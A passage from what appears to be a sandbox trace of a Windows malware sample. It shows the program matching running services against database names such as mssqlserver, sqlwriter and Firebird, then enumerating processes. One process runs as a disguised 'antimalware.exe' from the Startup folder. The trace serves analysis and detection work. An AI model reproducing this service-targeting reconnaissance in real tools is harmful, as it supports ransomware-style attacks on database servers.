	[0177.188] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0177.188] lstrlenW (lpString="PcaSvc") returned 6
	[0177.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0177.188] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0177.188] lstrlenW (lpString="PlugPlay") returned 8
	[0177.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0177.188] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0177.188] lstrlenW (lpString="Power") returned 5
	[0177.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0177.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0177.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0177.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0177.188] lstrlenW (lpString="ProfSvc") returned 7
	[0177.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0177.189] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0177.189] lstrlenW (lpString="RpcEptMapper") returned 12
	[0177.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0177.189] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0177.189] lstrlenW (lpString="RpcSs") returned 5
	[0177.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0177.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0177.189] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0177.189] lstrlenW (lpString="SamSs") returned 5
	[0177.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0177.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0177.189] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0177.189] lstrlenW (lpString="Schedule") returned 8
	[0177.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0177.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0177.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0177.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0177.189] lstrlenW (lpString="SecurityHealthService") returned 21
	[0177.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0177.190] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0177.190] lstrlenW (lpString="SENS") returned 4
	[0177.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0177.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0177.190] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0177.190] lstrlenW (lpString="ShellHWDetection") returned 16
	[0177.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0177.190] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0177.190] lstrlenW (lpString="Spooler") returned 7
	[0177.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0177.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0177.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0177.190] lstrlenW (lpString="StateRepository") returned 15
	[0177.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0177.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0177.190] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0177.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0177.190] lstrlenW (lpString="SysMain") returned 7
	[0177.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0177.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0177.191] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0177.191] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0177.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0177.191] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0177.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.191] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0177.191] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0177.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0177.191] lstrlenW (lpString="Themes") returned 6
	[0177.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0177.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0177.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0177.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0177.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0177.191] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0177.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0177.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0177.191] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0177.191] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0177.191] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6588 | out: hHeap=0x6a0000) returned 1
	[0177.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0177.200] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0177.200] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0177.201] lstrlenW (lpString="System") returned 6
	[0177.202] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0177.202] lstrlenW (lpString="smss.exe") returned 8
	[0177.202] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.203] lstrlenW (lpString="csrss.exe") returned 9
	[0177.203] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0177.204] lstrlenW (lpString="wininit.exe") returned 11
	[0177.204] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.204] lstrlenW (lpString="csrss.exe") returned 9
	[0177.204] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0177.205] lstrlenW (lpString="winlogon.exe") returned 12
	[0177.205] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0177.206] lstrlenW (lpString="services.exe") returned 12
	[0177.206] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0177.206] lstrlenW (lpString="lsass.exe") returned 9
	[0177.206] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.207] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.207] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.208] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.208] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.209] lstrlenW (lpString="svchost.exe") returned 11
	[0177.209] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.209] lstrlenW (lpString="svchost.exe") returned 11
	[0177.209] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0177.210] lstrlenW (lpString="dwm.exe") returned 7
	[0177.210] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.211] lstrlenW (lpString="svchost.exe") returned 11
	[0177.211] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.211] lstrlenW (lpString="svchost.exe") returned 11
	[0177.211] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.212] lstrlenW (lpString="svchost.exe") returned 11
	[0177.212] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.213] lstrlenW (lpString="svchost.exe") returned 11
	[0177.213] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.213] lstrlenW (lpString="svchost.exe") returned 11
	[0177.213] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.214] lstrlenW (lpString="svchost.exe") returned 11
	[0177.214] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.215] lstrlenW (lpString="svchost.exe") returned 11
	[0177.215] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.216] lstrlenW (lpString="svchost.exe") returned 11
	[0177.216] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.216] lstrlenW (lpString="svchost.exe") returned 11
	[0177.216] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.297] lstrlenW (lpString="svchost.exe") returned 11
	[0177.297] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0177.297] lstrlenW (lpString="spoolsv.exe") returned 11
	[0177.298] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.298] lstrlenW (lpString="svchost.exe") returned 11
	[0177.298] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0177.299] lstrlenW (lpString="audiodg.exe") returned 11
	[0177.299] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0177.300] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0177.300] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0177.300] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0177.300] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0177.301] lstrlenW (lpString="sihost.exe") returned 10
	[0177.301] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0177.302] lstrlenW (lpString="Memory Compression") returned 18
	[0177.302] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.302] lstrlenW (lpString="svchost.exe") returned 11
	[0177.302] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0177.303] lstrlenW (lpString="taskhostw.exe") returned 13
	[0177.303] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0177.304] lstrlenW (lpString="msoia.exe") returned 9
	[0177.304] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0177.304] lstrlenW (lpString="explorer.exe") returned 12
	[0177.304] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0177.305] lstrlenW (lpString="SearchUI.exe") returned 12
	[0177.305] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0177.306] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0177.306] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0177.306] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0177.307] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0177.307] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0177.307] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0177.308] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0177.308] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0177.308] lstrlenW (lpString="dllhost.exe") returned 11
	[0177.309] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0177.309] lstrlenW (lpString="dllhost.exe") returned 11
	[0177.309] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0177.310] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0177.310] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0
	[0177.311] CloseHandle (hObject=0x240) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b77d8 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b7700 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b65d0 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6550 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6c50 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b84c0 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b64f0 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b63b0 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddd00 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddd28 | out: hHeap=0x6a0000) returned 1
	[0177.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b65f0 | out: hHeap=0x6a0000) returned 1
